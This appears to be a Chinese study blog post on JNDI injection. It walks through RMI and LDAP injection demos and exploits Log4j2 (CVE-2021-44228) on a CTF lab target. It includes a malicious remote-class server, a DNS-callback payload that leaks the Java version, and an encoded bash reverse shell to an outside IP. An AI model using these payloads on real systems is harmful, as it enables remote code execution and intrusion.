前言
期末考结束了,java这块耽搁太久了
JNDI注入,就是那个让安全圈过年的log4j2漏洞的原理
参考:
https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/
https://tttang.com/archive/1611/
调试工具:vscode,jdk8u65,idea
JNDI概述
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用
即通过调用 JNDI 的 API 可以定位资源和其他程序对象,访问系统的命名服务(Naming Service)和目录服务(Directory Service)
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作
例如:DNS 系统将计算机名和 IP 地址进行关联;文件系统将文件名和文件句柄进行关联
名称系统中一些重要的概念:
Bindings
:表示一个名称和对应对象的绑定关系,例:在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
Context
:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。例:在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)
References
: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储可以理解为
C/C++
中的指针,引用中包含了获取实际对象所需的信息,甚至对象的实际状态。例:文件系统中实际根据名称打开的文件是一个整数
fd
(file descriptor
),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。
目录服务中的对象称之为目录对象。
提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup
)对象(并获取其对应属性),还可以根据属性值去搜索(search
)对象。
例:
NIS
:Network Information Service,Solaris
系统中用于查找系统相关信息的目录服务;
Active Directory
:为 Windows
域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 LDAP
协议实现的目录服务
API
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI ,如图:
JNDI分为四种服务:
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
RMI我们前面已经学过了它的反序列化隐患,而其余的几种也存在安全隐患
JNDI结构
JNDI 的功能实现:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext类
构造方法:
// 构建一个初始上下文。
InitialContext()
// 构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
// 使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法:
// 将名称绑定到对象。
bind(Name name, Object obj)
// 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
// 检索命名对象。
lookup(String name)
// 将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
// 取消绑定命名对象。
unbind(String name)
demo:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
// 在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
Reference类
该类表示对在命名/目录系统外部找到的对象的引用
构造方法:
// 为类名为“className”的对象构造一个新的引用。
Reference(String className)
// 为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
// 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
// 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法:
// 将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
// 将地址添加到地址列表的末尾。
void add(RefAddr addr)
// 从此引用中删除所有地址。
void clear()
// 检索索引posn上的地址。
RefAddr get(int posn)
// 检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
// 检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
// 检索引用引用的对象的类名。
String getClassName()
// 检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
// 检索此引用引用对象的工厂的类名。
String getFactoryClassName()
// 从地址列表中删除索引posn上的地址。
Object remove(int posn)
// 检索此引用中的地址数。
int size()
// 生成此引用的字符串表示形式。
String toString()
demo:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
JNDI注入
版本:(jdk8下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html#license-lightbox)
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
RMI注入
以一个 RMI 服务为例子,先创建一个 RMI 服务,然后再创建 JNDI 的服务端和客户端,文件结构就是之前文章中的 RMI 基础上再加上 JNDI 服务端和客户端
服务端:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
// 创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
然后准备一个弹计算器的恶意class
import java.io.IOException;
public class Calculator {
public Calculator() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
接下来准备客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
然后在恶意class的目录下用python起一个http服务,端口要和前面第三个位置(即表示恶意class的位置)一样
python -m http.server 8081
接下来启动服务端,再启动客户端,即可弹计算器
调试
断点给在客户端的initialContext.lookup(uri)
方法,启动调试并跟进
首先进入了InitialContext#lookup
:
调用里面的lookup,而这个lookup实际上指的是GenericURLContext#lookup
,这次JNDI调用的是RMI服务,因此进入到了GenericURLContext,对应不同的服务contenxt也会不同
LDAP注入
在rmi注入被修复之后的版本,客户端执行上面的操作会报错Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
,因为trustURLCodebase
默认变为了false,因此无法实例化恶意类了
这种情况可以用ldap进行绕过
导入依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
log4j2 RCE(CVE-2021-44228)
Apache Log4j2是一个基于Java的日志记录工具。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞
版本:2.0 <= Apache log4j2 <= 2.14.1
Apache log4j漏洞靶机
靶机来自NSSCTF:https://www.nssctf.cn/problem/1124
验证
用dnslog验证,给参数c传入payload,同时验证版本
${jndi:ldap://${sys:java.version}.pzsvx8i3vjkmt5jek36lwlh80z6pue.oastify.com}
更多外带敏感信息参考:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup
回显则说明存在漏洞,版本是1.8.0_144,只有ldap注入
利用
使用工具JNDI-Injection-Exploit.jar:https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvODAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "127.0.0.1"
然后我想了想这里我是不是得开三个内网穿透端口,nc一个,ldap一个,还要给内网8180一个。。。寄(花生壳免费最多开两个)